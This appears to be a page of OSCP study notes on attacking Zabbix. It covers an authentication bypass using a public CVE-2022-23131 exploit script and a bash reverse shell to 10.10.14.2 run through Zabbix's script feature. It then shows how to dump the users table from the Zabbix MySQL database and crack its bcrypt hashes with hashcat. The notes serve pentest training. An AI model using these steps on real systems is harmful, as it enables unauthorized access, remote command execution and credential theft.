> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/zabbix.md).

# Zabbix

<details>

<summary>V5.4 Bypass Login</summary>

### Checking if Zabbix is v5.4:

* Hover around "Help" button --> will refer to the respective zabbix version documentation

<figure><img src="/files/IewE9dXV41DvKt4EXI6J" alt=""><figcaption></figcaption></figure>

Use <https://github.com/Mr-xn/cve-2022-23131>

```
python3 zabbix_session_exp.py -t https://192.168.210.13 -u admin
```

* If error "Failed to resolve \<host>" --> have to add entry to `/etc/hosts`

<figure><img src="/files/m7MwzXcAii4fkgW143Jb" alt=""><figcaption></figcaption></figure>

Uncomment lines 60 and 62 to show the session cookies

<figure><img src="/files/cYXuckGxEk1l7bkr61xN" alt=""><figcaption></figcaption></figure>

Rerun the command `python3 zabbix_session_exp.py -t https://192.168.210.13 -u admin`

* Copy the zbx\_signed\_session cookie and add it to the cookies for the webpage

<figure><img src="/files/I0bS8lxlzZ4Gpp3NKYzb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/z3Ap6YskR53Ij97hQgoJ" alt=""><figcaption></figcaption></figure>

Press the SSO login option --> successful login

<figure><img src="/files/kCzvc9kf1NMhkuae3j60" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>Reverse Shell From Zabbix</summary>

Go to "Administration" --> "Scripts" --> "Create Script"

<figure><img src="/files/dKMnIzCvwWugbZFVguJj" alt=""><figcaption></figcaption></figure>

* Name: revshell
* Scope: Manual host action
* Type: Script
* Execute on: Zabbix server (proxy)
* Commands: `/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/80 0>&1'`
* Add

<figure><img src="/files/NreCn6Daf6xaHYFFm7n0" alt=""><figcaption></figcaption></figure>

Monitoring --> Hosts --> Zabbix server --> revshell

<figure><img src="/files/ffOtEcwmwnQc2a4IAQJI" alt=""><figcaption></figcaption></figure>

nc -lvp 80

<figure><img src="/files/0A7P3C6sQJNUTm0tdCa5" alt=""><figcaption></figcaption></figure>

</details>

<details>

<summary>Zabbix Server Configurations</summary>

`cat /usr/local/etc/zabbix_server.conf` & removing commented out lines:

<figure><img src="/files/M1hZsZ3i0JMX3ToAsMBi" alt=""><figcaption></figcaption></figure>

### Connecting to MySQL DB for zabbix

```
mysql -h 127.0.0.1 -P 3306 -u zabbix  -p'rD...' zabbix
show databases;
use zabbix;
show tables;
select * from users;
```

<figure><img src="/files/uhDcA5oQajK6tJYaVAow" alt=""><figcaption></figcaption></figure>

Cracking Zabbix's bcrypt hash:

```bash
hashcat -m 3200 hash.txt rockyou.txt
```

</details>